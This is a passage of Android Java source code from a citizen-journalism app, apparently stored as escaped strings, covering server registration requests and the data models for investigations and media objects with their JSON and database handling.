HashMap<String, String>();\n\t\tparams.put(Constants.PUB_TOKEN, public_upload_token);\n\t\tparams.put(Constants.OW_SIGNUP_TYPE, app_version);\n\t\tGson gson = new Gson();\n\t\tStringEntity se = null;\n\t\ttry {\n\t\t\tse = new StringEntity(gson.toJson(params));\n\t\t} catch (UnsupportedEncodingException e1) {\n\t\t\tLog.e(TAG, \"Failed to put JSON string in StringEntity\");\n\t\t\te1.printStackTrace();\n\t\t\treturn;\n\t\t}\n\n\t\t// Post public_upload_token, signup_type\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tLog.i(TAG, \"Commencing ap registration to: \" + Constants.OW_API_URL\n\t\t\t\t+ Constants.OW_REGISTER + \" pub_token: \" + public_upload_token\n\t\t\t\t+ \" version: \" + app_version);\n\t\thttp_client.post(app_context, Constants.OW_API_URL\n\t\t\t\t+ Constants.OW_REGISTER, se, \"application/json\",\n\t\t\t\tresponse_handler);\n\n\t}\n\n\tpublic static void onLaunchSync(final Context app_context) {\n\t\tRequestCallback cb = new RequestCallback() {\n\n\t\t\t@Override\n\t\t\tpublic void onFailure() {\n\t\t\t\tLog.i(TAG, \"per_launch_sync failed\");\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onSuccess() {\n\t\t\t\t((OWApplication) app_context).per_launch_sync = true;\n\t\t\t\tLog.i(TAG, \"per_launch_sync success\");\n\t\t\t}\n\t\t};\n\n\t\tOWServiceRequests.getTags(app_context, cb);\n\t}\n\n public static void checkOWEmailAvailable(Context app_context, String email, JsonHttpResponseHandler response_handler){\n AsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n Log.i(TAG, \"Checking email available: \" + email);\n http_client.get(app_context, Constants.OW_API_URL + \"email_available?email=\" + email, response_handler);\n }\n}", "public class OWInvestigation extends Model implements OWServerObjectInterface{\n\tprivate static final String TAG = \"OWInvestigation\";\n\t\n\tpublic CharField blurb = new CharField();\n public CharField questions = new CharField();\n\tpublic CharField big_logo_url = new CharField();\n\t\n\tpublic ForeignKeyField<OWServerObject> media_object = new ForeignKeyField<OWServerObject> ( OWServerObject.class );\n\t\n\tpublic OWInvestigation() {\n\t\tsuper();\n\t}\n\t\n\tpublic OWInvestigation(Context c){\n\t\tsuper();\n\t\tthis.save(c);\n\t\tOWServerObject media_object = new OWServerObject();\n\t\tmedia_object.investigation.set(getId());\n\t\tmedia_object.save(c);\n\t\tthis.media_object.set(media_object);\n\t\tthis.save(c);\n\t}\n\n @Override\n protected void migrate(Context context) {\n /*\n Migrator automatically keeps track of which migrations have been run.\n All we do is add a migration for each change that occurs after the initial app release\n */\n Migrator<OWInvestigation> migrator = new Migrator<OWInvestigation>(OWInvestigation.class);\n\n migrator.addField(\"questions\", new CharField());\n\n // roll out all migrations\n migrator.migrate(context);\n }\n\t\n\t@Override\n\tpublic boolean save(Context context) {\n\t\t// notify the ContentProvider that the dataset has changed\n\t\tif(media_object.get() != null){ // this is called once in <init> to get db id before medi_object created\n\t\t\t//setLastEdited(context, Constants.utc_formatter.format(new Date()));\n\t\t\t//context.getContentResolver().notifyChange(OWContentProvider.getMediaObjectUri(media_object.get(context).getId()), null);\n\t\t}\n\t\treturn super.save(context);\n\t}\n\n @Override\n public void setSynced(Context c, boolean isSynced) {\n\n }\n\n public void updateWithJson(Context app_context, JSONObject json){\n \n\t\tthis.media_object.get(app_context).updateWithJson(app_context, json);\n\t\t\n\t\ttry{\n\t\t\tif(json.has(Constants.OW_BLURB))\n\t\t\t\tblurb.set(json.getString(Constants.OW_BLURB));\n\t\t\tif(json.has(\"big_logo\"))\n\t\t\t\tbig_logo_url.set(json.getString(\"big_logo\"));\n if(json.has(\"questions\"))\n questions.set(json.getString(\"questions\"));\n\t\t}catch(JSONException e){\n\t\t\tLog.e(TAG, \"Error deserializing investigation\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\t// If story has no thumbnail_url, try using user's thumbnail\n\t\tif( (this.getThumbnailUrl(app_context) == null || this.getThumbnailUrl(app_context).compareTo(\"\") == 0) && json.has(Constants.OW_USER)){\n\t\t\tJSONObject json_user = null;\n\t\t\tOWUser user = null;\n\t\t\ttry {\n\t\t\t\tjson_user = json.getJSONObject(Constants.OW_USER);\n\t\t\t\tif(json_user.has(Constants.OW_THUMB_URL)){\n\t\t\t\t\tthis.setThumbnailUrl(app_context, json_user.getString(Constants.OW_THUMB_URL));\n\t\t\t\t\tLog.i(TAG, \"Investigation has no thumbnail, using user thumbnail instead\");\n\t\t\t\t}\n\t\t\t} catch (JSONException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\tthis.save(app_context);\n\t}\n\t\n\tpublic static OWInvestigation createOrUpdateOWInvestigationWithJson(Context app_context, JSONObject json_obj, OWFeed feed) throws JSONException{\n\t\tOWInvestigation investigation = createOrUpdateOWInvestigationWithJson(app_context, json_obj);\n\t\t// add Investigation to feed if not null\n\t\tif(feed != null){\n\t\t\t//Log.i(TAG, String.format(\"Adding Investigation %s to feed %s\", investigation.getTitle(app_context), feed.name.get()));\n\t\t\tinvestigation.addToFeed(app_context, feed);\n\t\t\t//story.save(app_context);\n\t\t\t//Log.i(TAG, String.format(\"Story %s now belongs to %d feeds\", investigation.getTitle(app_context), investigation.media_object.get(app_context).feeds.get(app_context, investigation.media_object.get(app_context)).count() ));\n\t\t}\n\t\t\n\t\treturn investigation;\n\t}\n\t\n\tpublic static OWInvestigation createOrUpdateOWInvestigationWithJson(Context app_context, JSONObject json_obj)throws JSONException{\n\t\tOWInvestigation existing = null;\n\n\t\tDatabaseAdapter dba = DatabaseAdapter.getInstance(app_context);\n\t\tString query_string = String.format(\"SELECT %s FROM %s WHERE %s NOTNULL AND %s=%d\", DBConstants.ID, DBConstants.MEDIA_OBJECT_TABLENAME, \"investigation\", DBConstants.STORY_SERVER_ID, json_obj.get(Constants.OW_SERVER_ID));\n\t\tCursor result = dba.open().query(query_string);\n\t\tif(result != null && result.moveToFirst()){\n\t\t\tint media_obj_id = result.getInt(0);\n\t\t\tif(media_obj_id != 0){\n\t\t\t\texisting = OWServerObject.objects(app_context, OWServerObject.class).get(media_obj_id).investigation.get(app_context);\n\t\t\t}\n\t\t\tif(existing != null){\n\t\t\t\t//Log.i(TAG, \"found existing Investigation for id: \" + String.valueOf( json_obj.getString(Constants.OW_SERVER_ID)));\n }\n\t\t}\n\t\t\n\t\tif(existing == null){\n\t\t\t//Log.i(TAG, \"creating new Investigation\");\n\t\t\texisting = new OWInvestigation(app_context);\n\t\t}\n\t\t\n\t\texisting.updateWithJson(app_context, json_obj);\n\t\treturn existing;\n\t}\n\n\t@Override\n\tpublic void setTitle(Context c, String title) {\n\t\tthis.media_object.get(c).setTitle(c, title);\n\t}\n\n\t@Override\n\tpublic void setViews(Context c, int views) {\n\t\tthis.media_object.get(c).setViews(c, views);\n\t}\n\n\t@Override\n\tpublic void setActions(Context c, int actions) {\n\t\tthis.media_object.get(c).setActions(c, actions);\n\t}\n\n\t@Override\n\tpublic void setServerId(Context c, int server_id) {\n\t\tthis.media_object.get(c).setServerId(c, server_id);\n\t}\n\n\t@Override\n\tpublic void setDescription(Context c, String description) {\n\t\tthis.media_object.get(c).setDescription(c, description);\n\t}\n\n\t@Override\n\tpublic void setThumbnailUrl(Context c, String url) {\n\t\tthis.media_object.get(c).setThumbnailUrl(c, url);\n\t}\n\n\t@Override\n\tpublic void setUser(Context c, OWUser user) {\n\t\tthis.media_object.get(c).setUser(c, user);\n\t}\n\n\t@Override\n\tpublic void resetTags(Context c) {\n\t\tthis.media_object.get(c).resetTags(c);\n\t}\n\n\t@Override\n\tpublic void addTag(Context c, OWTag tag) {\n\t\tthis.media_object.get(c).addTag(c, tag);\n\t}\n\n\t@Override\n\tpublic String getTitle(Context c) {\n\t\treturn this.media_object.get(c).getTitle(c);\n\t}\n\n\t@Override\n\tpublic String getDescription(Context c) {\n\t\treturn this.media_object.get(c).description.get();\n\t}\n\n\t@Override\n\tpublic QuerySet<OWTag> getTags(Context c) {\n\t\treturn this.media_object.get(c).getTags(c); \n\t}\n\n\t@Override\n\tpublic Integer getViews(Context c) {\n\t\treturn this.media_object.get(c).getViews(c);\n\t}\n\n\t@Override\n\tpublic Integer getActions(Context c) {\n\t\treturn this.media_object.get(c).getActions(c);\n\t}\n\n\t@Override\n\tpublic Integer getServerId(Context c) {\n\t\treturn this.media_object.get(c).getServerId(c);\n\t}\n\n\t@Override\n\tpublic String getThumbnailUrl(Context c) {\n\t\treturn this.media_object.get(c).getThumbnailUrl(c);\n\t}\n\n\t@Override\n\tpublic OWUser getUser(Context c) {\n\t\treturn this.media_object.get(c).getUser(c);\n\t}\n\n\t@Override\n\tpublic void addToFeed(Context c, OWFeed feed) {\n\t\tthis.media_object.get(c).addToFeed(c, feed);\n\t}\n\n\t@Override\n\tpublic String getFirstPosted(Context c) {\n\t\treturn media_object.get(c).getFirstPosted(c);\n\t}\n\n\t@Override\n\tpublic void setFirstPosted(Context c, String first_posted) {\n\t\tmedia_object.get(c).setFirstPosted(c, first_posted);\n\t}\n\n\t@Override\n\tpublic String getLastEdited(Context c) {\n\t\treturn media_object.get(c).getLastEdited(c);\n\t}\n\n\t@Override\n\tpublic void setLastEdited(Context c, String last_edited) {\n\t\tmedia_object.get(c).setLastEdited(c, last_edited);\n\t}\n\n\t@Override\n\tpublic JSONObject toJsonObject(Context app_context) {\n\t\tJSONObject json_obj = media_object.get(app_context).toJsonObject(app_context);\n\t\ttry{\n\t\t\tif (blurb.get() != null)\n\t\t\t\tjson_obj.put(Constants.OW_BLURB, blurb.get().toString());\n\t\t\tif (big_logo_url.get() != null)\n\t\t\t\tjson_obj.put(Constants.OW_SLUG, big_logo_url.get().toString());\n\t\t\t\n\t\t}catch(JSONException e){\n\t\t\tLog.e(TAG, \"Error serializing recording to json\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn json_obj;\n\t}\n\t\n\tpublic static String getUrlFromId(int server_id){\n\t\treturn Constants.OW_URL + \"i/\" + String.valueOf(server_id);\t\n\t}\n\n\t@Override\n\tpublic String getUUID(Context c) {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic void setUUID(Context c, String uuid) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic void setLat(Context c, double lat) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic double getLat(Context c) {\n\t\t// TODO Auto-generated method stub\n\t\treturn 0;\n\t}\n\n\t@Override\n\tpublic void setLon(Context c, double lon) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic double getLon(Context c) {\n\t\t// TODO Auto-generated method stub\n\t\treturn 0;\n\t}\n\n\t@Override\n\tpublic void setMediaFilepath(Context c, String filepath) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic String getMediaFilepath(Context c) {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic CONTENT_TYPE getContentType(Context c) {\n\t\treturn CONTENT_TYPE.INVESTIGATION;\n\t}\n\n\n\n}", "public class OWServerObject extends Model implements OWServerObjectInterface{\n\tprivate static final String TAG = \"OWMediaObject\";\n\t\n\tpublic CharField title = new CharField();\n\tpublic IntegerField views = new IntegerField();\n\tpublic IntegerField actions = new IntegerField();\n\tpublic IntegerField server_id = new IntegerField();\n\tpublic CharField description = new CharField();\n\tpublic CharField thumbnail_url = new CharField();\n public CharField user_thumbnail_url = new CharField();\n\tpublic CharField username = new CharField();\n\tpublic CharField first_posted = new CharField();\n\tpublic CharField last_edited = new CharField();\n public CharField metro_code = new CharField();\n public BooleanField is_private = new BooleanField();\n\t\n\tpublic ForeignKeyField<OWUser> user = new ForeignKeyField<OWUser>(\n\t\t\tOWUser.class);\n\t\n\tpublic ManyToManyField<OWServerObject, OWFeed> feeds = new ManyToManyField<OWServerObject, OWFeed> (OWServerObject.class, OWFeed.class);\n\t\n\tpublic ManyToManyField<OWServerObject, OWTag> tags = new ManyToManyField<OWServerObject, OWTag> (OWServerObject.class, OWTag.class);\n\t\n\tpublic ForeignKeyField<OWPhoto> photo = new ForeignKeyField<OWPhoto>(OWPhoto.class);\n\t\n\tpublic ForeignKeyField<OWAudio> audio = new ForeignKeyField<OWAudio>(OWAudio.class);\n\t\n\tpublic ForeignKeyField<OWVideoRecording> video_recording = new ForeignKeyField<OWVideoRecording>(OWVideoRecording.class);\n\t\n\tpublic ForeignKeyField<OWInvestigation> investigation = new ForeignKeyField<OWInvestigation>(OWInvestigation.class);\n\t\n\tpublic ForeignKeyField<OWLocalVideoRecording> local_video_recording = new ForeignKeyField<OWLocalVideoRecording>(OWLocalVideoRecording.class);\n\t\n\tpublic ForeignKeyField<OWStory> story = new ForeignKeyField<OWStory>(OWStory.class);\n\n public ForeignKeyField<OWMission> mission = new ForeignKeyField<OWMission>(OWMission.class);\n\t\n\t\n\tpublic OWServerObject() {\n\t\tsuper();\n\t}\n\n @Override\n protected void migrate(Context context) {\n /*\n Migrator automatically keeps track of which migrations have been run.\n All we do is add a migration for each change that occurs after the initial app release\n */\n Migrator<OWServerObject> migrator = new Migrator<OWServerObject>(OWServerObject.class);\n\n migrator.addField(\"mission\", new ForeignKeyField<OWMission>(OWMission.class));\n\n migrator.addField(\"user_thumbnail_url\", new CharField());\n\n migrator.addField(\"metro_code\", new CharField());\n\n migrator.addField(\"is_private\", new BooleanField());\n\n // roll out all migrations\n migrator.migrate(context);\n }\n\t\n\tpublic boolean save(Context context, boolean doNotify){\n\t\tboolean did_it = this.save(context);\n\t\tif(doNotify){\n\t\t\tOWFeedType feed_type = null;\n\t\t\tfor(OWFeed feed : feeds.get(context, this)){\n\t\t\t\t//feed_type = OWFeed.getFeedTypeFromString(context, feed.name.get());\n\t\t\t\t//Log.i(TAG, \"feed_type: \" + feed_type);\n\t\t\t\tif(feed.name.get() != null && feed.name.get().compareTo(\"\") !=0){\n\t\t\t\t\tLog.i(TAG, \"NotifyingChange on feed: \" + OWContentProvider.getFeedUri(feed.name.get()).toString());\n\t\t\t\t\tcontext.getContentResolver().notifyChange(OWContentProvider.getFeedUri(feed.name.get()), null);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(this.user.get(context) != null)\n\t\t\t\tLog.i(TAG, \"notify url : \" + OWContentProvider.getUserRecordingsUri(this.user.get(context).getId()));\n\t\t\t\ttry{\n\t\t\t\t\tcontext.getContentResolver().notifyChange(OWContentProvider.getUserRecordingsUri(this.user.get(context).getId()), null);\n\t\t\t\t} catch(NullPointerException ne){\n\t\t\t\t\tne.printStackTrace();\n\t\t\t\t}\n\t\t}\n\t\t\n\t\treturn did_it;\n\t}\n\n public boolean saveAndSetEdited(Context context) {\n setLastEdited(context, Constants.utc_formatter.format(new Date()));\n return save(context);\n }\n\n\t@Override\n\tpublic boolean save(Context context) {\n\t\tcontext = context.getApplicationContext();\n\t\t//setLastEdited(context, Constants.utc_formatter.format(new Date()));\n\t\tboolean super_save = super.save(context);\n\t\t//Log.i(TAG, String.format(\"setLastEdited: %s\", getLastEdited(context)));\n\t\t// notify the ContentProvider that the dataset has changed\n\t\tcontext.getContentResolver().notifyChange(OWContentProvider.getMediaObjectUri(getId()), null);\n\t\t// notify all of this object's feed uris\n\t\t/*\n\t\t * Don't do this here - Often OWMediaObjects are added in batch transactions so leave it to the request response handler\n\t\tOWFeedType feed_type = null;\n\t\tfor(OWFeed feed : feeds.get(context, this)){\n\t\t\tfeed_type = OWFeed.getFeedTypeFromString(context, feed.name.get());\n\t\t\tLog.i(TAG, \"feed_type: \" + feed_type);\n\t\t\tif(feed_type != null){\n\t\t\t\tLog.i(TAG, \"NotifyingChange on feed: \" + OWContentProvider.getFeedUri(feed_type).toString());\n\t\t\t\tcontext.getContentResolver().notifyChange(OWContentProvider.getFeedUri(feed_type), null);\n\t\t\t}\n\t\t}\n\t\t*/\n\t return super_save;\n\t}\n\n @Override\n public void setSynced(Context c, boolean isSynced) {\n ((OWServerObjectInterface) getChildObject(c)).setSynced(c, isSynced);\n }\n\n public boolean hasTag(Context context, String tag_name) {\n\t\tFilter filter = new Filter();\n\t\tfilter.is(DBConstants.TAG_TABLE_NAME, tag_name);\n\t\treturn (tags.get(context, this).filter(filter).count() > 0);\n\t}\n\n public static void createOrUpdateWithJson(Context c, JSONObject json, OWFeed feed, DatabaseAdapter adapter) throws JSONException {\n int feedId = feed.getId();\n Where where = new Where();\n where.and(DBConstants.SERVER_ID, json.getInt(Constants.OW_SERVER_ID));\n String type = json.getString(\"type\");\n String notNullColumn = null;\n if(type.compareTo(\"video\") == 0){\n notNullColumn = DBConstants.MEDIA_OBJECT_VIDEO;\n }else if(type.compareTo(\"investigation\") == 0){\n notNullColumn = DBConstants.MEDIA_OBJECT_INVESTIGATION;\n }else if(type.compareTo(\"mission\") == 0){\n notNullColumn = DBConstants.MEDIA_OBJECT_MISSION;\n }else if(type.compareTo(\"photo\") == 0){\n notNullColumn = DBConstants.MEDIA_OBJECT_PHOTO;\n }else if(type.compareTo(\"audio\") == 0){\n notNullColumn = DBConstants.MEDIA_OBJECT_AUDIO;\n }\n if(notNullColumn != null)\n where.and(new Statement(notNullColumn, \"!=\", \"NULL\"));\n else\n Log.e(TAG, \"cannot recognize type of this json object\");\n ContentValues serverObjectValues = new ContentValues();\n if(json.has(Constants.OW_TITLE))\n serverObjectValues.put(DBConstants.TITLE, json.getString(Constants.OW_TITLE));\n if(json.has(Constants.OW_DESCRIPTION))\n serverObjectValues.put(DBConstants.DESCRIPTION, json.getString(Constants.OW_DESCRIPTION));\n if(json.has(Constants.OW_VIEWS))\n serverObjectValues.put(DBConstants.VIEWS, json.getInt(Constants.OW_VIEWS));\n if(json.has(Constants.OW_CLICKS))\n serverObjectValues.put(DBConstants.ACTIONS, json.getInt(Constants.OW_CLICKS));\n if(json.has(Constants.OW_SERVER_ID))\n serverObjectValues.put(DBConstants.SERVER_ID, json.getInt(Constants.OW_SERVER_ID));\n if(json.has(Constants.OW_LAST_EDITED)){\n serverObjectValues.put(DBConstants.LAST_EDITED, json.getString(Constants.OW_LAST_EDITED));\n //Log.i(\"LastEdited\", String.format(\"id %d last_edited %s\",json.getInt(Constants.OW_SERVER_ID), json.getString(Constants.OW_LAST_EDITED) ));\n }if(json.has(Constants.OW_FIRST_POSTED))\n serverObjectValues.put(DBConstants.FIRST_POSTED, json.getString(Constants.OW_FIRST_POSTED));\n if(json.has(DBConstants.MEDIA_OBJECT_METRO_CODE))\n serverObjectValues.put(DBConstants.MEDIA_OBJECT_METRO_CODE, json.getString(DBConstants.MEDIA_OBJECT_METRO_CODE));\n if(json.has(\"video_recording\"))\n serverObjectValues.put(\"video_recording\", json.getInt(\"video_recording\"));\n if(json.has(\"public\")){\n serverObjectValues.put(\"is_private\", (json.getBoolean(\"public\") ? 1 : 0 ));\n }\n\n\n if(json.has(Constants.OW_THUMB_URL) && json.getString(Constants.OW_THUMB_URL).compareTo(Constants.OW_NO_VALUE)!= 0)\n serverObjectValues.put(DBConstants.THUMBNAIL_URL, json.getString(Constants.OW_THUMB_URL));\n\n //investigations are weird\n if(json.has(\"logo\"))\n serverObjectValues.put(DBConstants.THUMBNAIL_URL, json.getString(\"logo\"));\n\n int userId = -1;\n if(json.has(Constants.OW_USER)){\n JSONObject jsonUser = json.getJSONObject(Constants.OW_USER);\n ContentValues userValues = new ContentValues();\n Where userWhere = new Where();\n userWhere.and(DBConstants.USER_SERVER_ID, jsonUser.getInt(Constants.OW_SERVER_ID));\n\n if(jsonUser.has(Constants.OW_USERNAME)){\n userValues.put(DBConstants.USERNAME, jsonUser.getString(Constants.OW_USERNAME));\n serverObjectValues.put(\"username\", jsonUser.getString(Constants.OW_USERNAME));\n }if(jsonUser.has(Constants.OW_SERVER_ID))\n userValues.put(DBConstants.SERVER_ID, jsonUser.getInt(Constants.OW_SERVER_ID));\n if(jsonUser.has(Constants.OW_THUMB_URL)){\n userValues.put(DBConstants.THUMBNAIL_URL, jsonUser.getString(Constants.OW_THUMB_URL));\n serverObjectValues.put(\"user_thumbnail_url\", jsonUser.getString(Constants.OW_THUMB_URL));\n //user_thumbnail_url.set(jsonUser.getString(Constants.OW_THUMB_URL));\n }\n int transactionId = adapter.doInsertOrUpdate(DBConstants.USER_TABLENAME, userValues, userWhere);\n //Log.i(\"DBA\", jsonUser.toString());\n //Log.i(\"DBA\", String.format(\"update user w/ server_id %d and insortOrUpdate response: %d\", jsonUser.getInt(Constants.OW_SERVER_ID),transactionId));\n Cursor cursor = adapter.query(String.format(\"SELECT _id FROM owuser WHERE server_id = %d\",jsonUser.getInt(Constants.OW_SERVER_ID)));\n if(cursor != null && cursor.moveToFirst())\n userId = cursor.getInt(0);\n }\n\n if(userId != -1)\n serverObjectValues.put(\"user\", userId);\n\n // Skip saving tags for now\n int transactionId = adapter.doInsertOrUpdate(DBConstants.MEDIA_OBJECT_TABLENAME, serverObjectValues, where);\n //Log.i(\"DBA\", json.toString());\n //Log.i(\"DBA\", String.format(\"update mediaObject with server_id %s and insertOrUpdate response: %d\", json.getString(Constants.OW_SERVER_ID) , transactionId));\n }\n\n\t@Override\n\tpublic void updateWithJson(Context app_context, JSONObject json) {\n\t\ttry {\n\t\t\tif(json.has(Constants.OW_TITLE))\n\t\t\t\tthis.setTitle(app_context, json.getString(Constants.OW_TITLE));\n\t\t\tif(json.has(Constants.OW_DESCRIPTION))\n\t\t\t\tthis.setDescription(app_context, json.getString(Constants.OW_DESCRIPTION));\n\t\t\tif(json.has(Constants.OW_VIEWS))\n\t\t\t\tthis.setViews(app_context, json.getInt(Constants.OW_VIEWS));\n\t\t\tif(json.has(Constants.OW_CLICKS))\n\t\t\t\tthis.setActions(app_context, json.getInt(Constants.OW_CLICKS));\n\t\t\tif(json.has(Constants.OW_SERVER_ID))\n\t\t\t\tthis.setServerId(app_context, json.getInt(Constants.OW_SERVER_ID));\n\t\t\tif(json.has(Constants.OW_LAST_EDITED))\n\t\t\t\tthis.last_edited.set(json.getString(Constants.OW_LAST_EDITED));\n\t\t\tif(json.has(Constants.OW_FIRST_POSTED))\n\t\t\t\tthis.first_posted.set(json.getString(Constants.OW_FIRST_POSTED));\n if(json.has(DBConstants.MEDIA_OBJECT_METRO_CODE))\n this.metro_code.set(json.getString(DBConstants.MEDIA_OBJECT_METRO_CODE));\n\n\t\t\t\n\t\t\tif(json.has(Constants.OW_THUMB_URL) && json.getString(Constants.OW_THUMB_URL).compareTo(Constants.OW_NO_VALUE)!= 0)\n\t\t\t\tthis.setThumbnailUrl(app_context, json.getString(Constants.OW_THUMB_URL));\n\t\t\t\n\t\t\t//investigations are weird\n\t\t\tif(json.has(\"logo\"))\n\t\t\t\tthis.setThumbnailUrl(app_context, json.getString(\"logo\"));\n\t\t\t\n\t\t\tif(json.has(Constants.OW_USER)){\n\t\t\t\tJSONObject json_user = null;\n\t\t\t\tOWUser user = null;\n\t\t\t\tjson_user = json.getJSONObject(Constants.OW_USER);\n\t\t\t\tFilter filter = new Filter();\n\t\t\t\tfilter.is(DBConstants.USER_SERVER_ID, json_user.getInt(Constants.OW_SERVER_ID));\n\t\t\t\tQuerySet<OWUser> existing_users = OWUser.objects(app_context, OWUser.class).filter(filter);\n\t\t\t\tfor(OWUser existing_user : existing_users){\n\t\t\t\t\tuser = existing_user;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif(user == null){\n\t\t\t\t\tuser = new OWUser();\n\t\t\t\t}\n if(json_user.has(Constants.OW_USERNAME))\n user.username.set(json_user.getString(Constants.OW_USERNAME));\n if(json_user.has(Constants.OW_SERVER_ID))\n user.server_id.set(json_user.getInt(Constants.OW_SERVER_ID));\n if(json_user.has(Constants.OW_THUMB_URL)){\n user.thumbnail_url.set(json_user.getString(Constants.OW_THUMB_URL));\n user_thumbnail_url.set(json_user.getString(Constants.OW_THUMB_URL));\n }\n user.save(app_context);\n\t\t\t\t//this.username.set(user.username.get());\n\t\t\t\t//this.user.set(user.getId());\n\t\t\t\tthis.setUser(app_context, user);\n\t\t\t} // end if user\n\n\t\t\t\n\t\t\tif(json.has(Constants.OW_TAGS)){\n\t\t\t\tthis.resetTags(app_context);\n\t\t\t\tJSONArray tag_array = json.getJSONArray(\"tags\");\n\t\t\t\tFilter filter;\n\t\t\t\tOWTag tag = null;\n\t\t\t\tfor(int x=0;x<tag_array.length();x++){\n\t\t\t\t\t\n\t\t\t\t\ttag = OWTag.getOrCreateTagFromJson(app_context, tag_array.getJSONObject(x));\n\t\t\t\t\ttag.save(app_context);\n\t\t\t\t\tthis.addTag(app_context, tag);\n\t\t\t\t}\n\t\t\t} // end tags update\n\t\t\tthis.save(app_context);\n\t\t\t//Log.i(TAG, \"updateWIthJson. server_id: \" + String.valueOf(this.server_id.get()));\n\t\t} catch (JSONException e) {\n\t\t\tLog.e(TAG, \"failed to update model with json\");\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@Override\n\tpublic void setTitle(Context c, String title) {\n\t\tthis.title.set(title);\n\t\t\n\t}\n\n\t@Override\n\tpublic void setViews(Context c, int views) {\n\t\tthis.views.set(views);\t\n\t}\n\n\t@Override\n\tpublic void setActions(Context c, int actions) {\n\t\tthis.actions.set(actions);\n\t}\n\n\t@Override\n\tpublic void setServerId(Context c, int server_id) {\n\t\tthis.server_id.set(server_id);\n\t}\n\n\t@Override\n\tpublic void setDescription(Context c, String description) {\n\t\tthis.description.set(description);\n\t}\n\n\t@Override\n\tpublic void setThumbnailUrl(Context c, String url) {\n\t\tthis.thumbnail_url.set(url);\n\t}\n\n\t@Override\n\tpublic void setUser(Context c, OWUser user) {\n\t\tthis.user.set(user);\n\t\tthis.username.set(user.username.get());\n\t}\n\n\t@Override\n\tpublic void resetTags(Context c) {\n\t\tthis.tags.reset();\n\t}\n\n\t@Override\n\tpublic void addTag(Context c, OWTag tag) {\n\t\tthis.tags.add(tag);\n\t\tthis.save(c);\n\t}\n\n\n\t@Override\n\tpublic String getTitle(Context c) {\n\t\treturn this.title.get();\n\t}\n\n\n\t@Override\n\tpublic String getDescription(Context c) {\n\t\treturn this.description.get();\n\t}\n\n\n\t@Override\n\tpublic QuerySet<OWTag> getTags(Context c) {\n\t\treturn this.tags.get(c, this);\n\t}\n\n\n\t@Override\n\tpublic Integer getViews(Context c) {\n\t\treturn this.views.get();\n\t}\n\n\n\t@Override\n\tpublic Integer getActions(Context c) {\n\t\treturn this.actions.get();\n\t}\n\n\n\t@Override\n\tpublic Integer getServerId(Context c) {\n\t\treturn this.server_id.get();\n\t}\n\n\n\t@Override\n\tpublic String getThumbnailUrl(Context c) {\n\t\treturn this.thumbnail_url.get();\n\t}\n\n\n\t@Override\n\tpublic OWUser getUser(Context c) {\n\t\treturn this.user.get(c);\n\t}\n\n\n\t@Override\n\tpublic void addToFeed(Context c, OWFeed feed) {\n\t\tthis.feeds.add(feed);\n\t\tthis.save(c);\n\t}\n\n\n\t@Override\n\tpublic String getFirstPosted(Context c) {\n\t\treturn this.first_posted.get();\n\t}\n\n\n\t@Override\n\tpublic void setFirstPosted(Context c, String first_posted) {\n\t\tthis.first_posted.set(first_posted);\n\t}\n\n\n\t@Override\n\tpublic String getLastEdited(Context c) {\n\t\treturn this.last_edited.get();\n\t}\n\n\n\t@Override\n\tpublic void setLastEdited(Context c, String last_edited) {\n\t\tthis.last_edited.set(last_edited);\n\t}\n\n\n\t@Override\n\tpublic JSONObject toJsonObject(Context c) {\n\t\tJSONObject json_obj = new JSONObject();\n\t\ttry {\n\t\t\tif(getTitle(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_TITLE, getTitle(c));\n\t\t\tif(getViews(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_VIEWS, getViews(c));\n\t\t\tif(getActions(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_ACTIONS, getActions(c));\n\t\t\tif(getServerId(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_SERVER_ID, getServerId(c));\n\t\t\tif(getDescription(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_DESCRIPTION, getDescription(c));\n\t\t\tif(getThumbnailUrl(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_THUMB_URL, getThumbnailUrl(c));\n\t\t\tif(getUser(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_USER, getUser(c).toJSON());\n\t\t\tif(getLastEdited(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_EDIT_TIME, getLastEdited(c));\n\t\t\tif(getFirstPosted(c) != null)\n\t\t\t\tjson_obj.put(Constants.OW_FIRST_POSTED, getFirstPosted(c));\n\n Log.i(\"race\", String.format(\"OwServerObject toJson id %d is_private: %b\", getId(), is_private.get()));\n json_obj.put(\"public\", !is_private.get());\n\t\t\t\n\t\t\tQuerySet<OWTag> qs = getTags(c);\n\t\t\tJSONArray tags = new JSONArray();\n\t\t\t\n\t\t\tfor (OWTag tag : qs) {\n\t\t\t\ttags.put(tag.name.get());\n\t\t\t}\n\t\t\tjson_obj.put(Constants.OW_TAGS, tags);\n\t\t\t\n\t\t} catch (JSONException e) {\n\t\t\tLog.e(TAG, \"Error serializing OWMediaObject\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn json_obj;\n\t}\n\n\t@Override\n\tpublic String getUUID(Context c) {\n\t\tCONTENT_TYPE type = getContentType(c);\n\t\tswitch(type){\n\t\tcase VIDEO:\n\t\t\treturn this.video_recording.get(c).getUUID(c);\n\t\tcase AUDIO:\n\t\t\treturn this.audio.get(c).getUUID(c);\n\t\tcase PHOTO:\n\t\t\treturn 